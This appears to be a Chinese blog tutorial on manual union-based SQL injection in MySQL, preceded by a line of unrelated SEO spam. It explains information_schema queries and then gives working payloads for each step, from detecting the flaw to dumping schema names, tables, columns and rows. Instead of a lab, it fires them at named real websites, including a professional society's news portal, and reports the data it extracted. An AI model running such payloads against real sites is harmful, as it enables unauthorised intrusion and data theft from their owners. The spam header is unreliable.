购买网站设计制作,wordpress怎么修改登录地址,中国企业商铺网,wordpress很卡MySQL元数据库
MySQL的元数据库是一组特殊的数据库#xff0c;用于存储MySQL服务器的元数据信息#xff0c;在sql注入中较为常用为以下两种元数据库#xff1a; information_schema#xff1a;这个数据库包含了MySQL服务器上所有其他数据库的元数据信息。例如数据库名、表…MySQL元数据库
MySQL的元数据库是一组特殊的数据库用于存储MySQL服务器的元数据信息在sql注入中较为常用为以下两种元数据库 information_schema这个数据库包含了MySQL服务器上所有其他数据库的元数据信息。例如数据库名、表名、列的数据类型或访问权限等。 mysql这是MySQL的核心数据库存储了用户权限设置、数据库的用户、关键字等。 sql注入中元数据库的应用
information_schema元数据库中需要了解 tables 数据表 和 clomuns 数据表以下是两种数据表的应用 tables数据表存放所有数据库及数据表信息 主要字段 1.table_schema: 存放所有数据表对应的数据库名。每一条数据表名信息对应一条table_schema字段的值其值为数据表名所在的数据库名。 2.table_name包含所有数据表信息需引用table_schema字段信息进行查询 查询指定数据库中的所有表
SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA库名;
查pikachu询数据库中所有表
SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMApikachu;在information_schema数据库中的tables表查询满足条件TABLE_SCHEMA字段值为pikachu的TABLE_NAME字段的值 columns数据表存放数据库数据表及其字段信息。
主要字段 1.TABLE_NAME存放数据表名数据表每一条字段信息对应一条TABLE_NAME的值其值为字段所在的数据表名 2.COLUMN_NAME存放所有字段名需引用table_name字段值进行查询 3.TABLE_SCHEMA存放所有字段对应的数据库名。每一条字段信息对应一条table_schema字段的值其值为字段所在的数据库名。与TABLE_NAME联用进行精确查询 查询指定表中的所有字段名
SELECT COLUMN_NAME FROM information_schema.columns WHERE TABLE_NAME表名 AND TABLE_SCHEMA库名;
查询pikachu数据库下users表中的所有字段
SELECT COLUMN_NAME FROM information_schema.columns WHERE TABLE_NAMEusers AND TABLE_SCHEMApikachu;
其余元数据查询
查询数据库数量及名称
select schema_name from information_schema.schemata 手工SQL注入
urlhttps://tpsldh.com/about.php?id1 1.判断是否存在漏洞
tpsldh.com/about.php?id1%27
页面回显异常sql报错回显大概率存在注入漏洞 2.拼接布尔语句判断注入点类型
数值型: https://tpsldh.com/about.php?id1 and 12
页面无报错回显正常
字符型
1 ?id1 and 12 --【--为注释符注释后续sql语句】
页面回显异常 2 ?id1 and 11 --【--为注释符注释后续sql语句】
页面回显正常 拼接字符型sql语句服务器正常执行判断注入点为字符型 3.判断字符型参数闭合类型
1 单引号 ?id1
页面回显异常 2双引号 ?id1
页面回显正常 拼接单引号会触发sql语法报错。拼接双引号sql语句查询时忽略多余字符正常回显。判断闭合类型为单引号 4.拼接order by 对查询结果进行排序判断页面引用数据库字段数
如果ORDER BY指定的列名在查询的表中不存在将会报错。列名可以数字代替
?id1 order by 1 --
?id1 order by 2 --
................
?id1 order by 6 --
页面正常回显 ?id1 order by 7 --
页面回显异常 逻辑将查询结果指定第七列进行排序时触发sql语法报错。指定第六列排序页面回显正常。可以得出该页面引用数据库所在数据表的字段数为6位
5.更改原参数使原查询失效并拼接union联合查询判断回显点
UNION 操作符用于合并两个或多个 SELECT 语句的结果集生成单个结果集。
?id-1union select 1,2,3,4,5,6 --
页面出现拼接回显数字 逻辑所有union联合查询多个结果集时由于原参数失效使页面回显拼接的结果集从而判断回显点 出现意外不适合新手实操更换网站 https://www.csi-india.org/news/index.php?id18 注入点类型数值 sql报错回显无 sql语句执行顺利 字段数8 回显点3456 6.拼接系统函数获取数据库信息
SQL注入常用系统函数及变量-CSDN博客
载荷?id-18 union select 1,2,version(),datadir,database(),user(),7,8 --
页面回显点回显数据库参数 逻辑数据库执行函数并返回结果拼接入回显点
7.元数据库查询数据库数量及信息
载荷?id-18 union select 1,2,group_concat(schema_name),4,5,6,7,8 from information_schema.schemata --
页面回显当前用户权限可查询的数据库信息 逻辑元数据库查询信息并拼接入结果集中返回。由于·union 会去除重复的行而查询的结果可能包含多个行为防止数据丢失使用group_concat函数将多个行的值拼接为一个字符串并使用逗号分割。
8.查询当前数据库下有哪些表
载荷?id-18 union select 1,2,group_concat(TABLE_NAME),4,5,6,7,8 from information_schema.tables where TABLE_SCHEMAdatabase() --
页面回显当前数据库下的数据表 逻辑查询元数据库信息语句意义见上文。database()返回当前数据库名用作查询条件
9.查询数据表下有哪些字段
载荷?id-18 union select 1,2,group_concat(column_name),4,5,6,7,8 from information_schema.columns where table_namenews --
页面回显字段名 逻辑查询元数据库信息语句意义见上文指定查询数据表news内字段名
10.查询数据
1查询多个数据
载荷
?id-18 union select 1,2,(select concat(news_id,serial_no,news_title,news_description,news_file_path,file_doc,news_status,news_date) from csiindia_portal.news ),4,5,6,7,8 --
页面回显数据 逻辑使用select子句查询所有数据可拼接其他字符或换行符通过limit控制回显条目。group_concat 在 MySQL 中有一个默认的长度限制通常为 1024 字节。如果合并的结果超出这个长度返回的字符串将被截断。
2查询单个字段所有数据
载荷?id-18 union select 1,2,(select group_concat(news_title) from csiindia_portal.news ),4,5,6,7,8 --
页面回显数据